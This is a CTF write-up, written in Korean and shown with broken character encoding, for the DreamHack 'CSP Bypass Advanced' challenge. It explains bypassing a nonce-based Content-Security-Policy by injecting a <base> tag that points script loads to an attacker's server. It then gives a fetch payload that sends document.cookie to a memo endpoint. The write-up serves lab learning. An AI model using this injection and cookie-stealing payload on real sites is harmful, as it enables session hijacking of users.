DreamHack - CSP Bypass Advanced ํ์ด
์๋ฐ์คํฌ๋ฆฝํธ ์คํ์ด ์๋ ์ด์
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
nonce = os.urandom(16).hex()
return response
request ํ ๋๋ง๋ค ํค๋์ CSP(Content-Security-Policy)๊ฐ ๋ถ๊ธฐ ๋๋ฌธ์ด๋ค. ๋ ์ดํด๋ณด์๋ฉด script-src๊ฐ self์ด๊ธฐ ๋๋ฌธ์ origin domain์์๋ง ์คํฌ๋ฆฝํธ ์์ฒญ์ด ๊ฐ๋ฅํ๊ณ ๊ทธ ๋ค์ nonce-{nonce}๊ฐ ๋ถ๋๋ฐ ์ด๋ ๋งค๋ฒ ๋ฌด์์๋ก ์์ฑ๋๋ {nonce}์ ๋์ผํ ์์ฑ์ ๊ฐ๋ script ํ๊ทธ๋ง ํ์ฉํ๋ค๊ณ ๋ณด๋ฉด ๋๋ค.
์๋์ ๊ฐ์ด Flask ์๋ฒ๋ ๋งค๋ฒ nonce ๊ฐ์ ์์ฑํด ํ์ฉํ๋ script ํ๊ทธ์ nonce ๊ฐ์ ์ค์ผ๋ก ํด๋ผ์ด์ธํธ๊ฐ ๋ถ๋ฌ์ค๋ ๊ฒ ๊ฐ๋ฅํ ๊ฒ์ด๋ค.
<script src="{{ url_for('static', filename='js/jquery.min.js')}}" nonce={{ nonce }}></script>
CSP ์ฐํํ๊ธฐ
๊ทผ๋ณธ์ ์ผ๋ก script ํ๊ทธ๊ฐ ์คํ ์๋ ์ด์ ๊ฐ (1) origin domain์ ์ฃผ์๋ง ํ์ฉ ๊ฐ๋ฅํ๋ค.์ (2) nonce ๊ฐ์ ์ฝ๊ฒ ์์ธกํ ์๊ฐ ์๋ค.์ด์์ผ๋ฏ๋ก ์ด๋ฅผ ํด๊ฒฐํ๋ ค๋ฉด origin domain์ ๋ฐ๊พธ๊ณ ๋ฏธ๋ฆฌ ํ์ฉํ ์คํฌ๋ฆฝํธ ํ๊ทธ๋ฅผ ๊ณต๊ฒฉ์์ ์๋ฒ์ ์๋ ์์์ผ๋ก ์์ฒญํ๋ฉด ํด๊ฒฐ์ด ๋๋ค.
๊ทธ๋์ ์ฐพ์ ๋ฐฉ๋ฒ์ด <base> ํ๊ทธ ์๋ค.
<base> ํ๊ทธ๋ href=/index.html ๊ฐ์ ์๋ ์ฃผ์๋ค์ base ์ฃผ์๋ฅผ ๋ฐ๊พธ๋ ์ญํ ์ ํ๋ค.
์ฌ์ฉ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ๋ค.
<base href="https://๊ณต๊ฒฉ์์์ฃผ์/">
์ด๋ฐ ํ๊ทธ๋ฅผ ์ ์ธํ๋ฉด ์ดํ์ ์ค๋ ๋ชจ๋ href=/index.html๋ href=https://๊ณต๊ฒฉ์์์ฃผ์/index.html์ ๊ฐ๊ฒ ๋๋ค.
<script src="/static/js/jquery.min.js" nonce="๋๋ค"></script>
<script src="/static/js/bootstrap.min.js" nonce="๋๋ค"></script>
<script src="https://๊ณต๊ฒฉ์์์ฃผ์/static/js/jquery.min.js" nonce="๋๋ค"></script>
<script src="https://๊ณต๊ฒฉ์์์ฃผ์/static/js/bootstrap.min.js" nonce="๋๋ค"></script>
์ด๋ ๊ฒ ๋๋ฏ๋ก ๊ณต๊ฒฉ์๊ฐ ๋ฏธ๋ฆฌ ์๋ฒ๋ฅผ ์ด์ด๋๊ณ /static/js/jquery.min.js ํ์ผ์ ์์ฑํด ์๋์ ๊ฐ์ ์ฟ ํค๋ฅผ ๋ฉ๋ชจํ๋ ์ฝ๋๋ฅผ ์์ฑํ๋ฏ๋ก FLAG๋ฅผ ์ป์ ์ ์๋ค.
fetch('http://127.0.0.1:8000/'+'/memo?memo='+document.cookie, {
method: 'GET',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
}).then(res => res.text());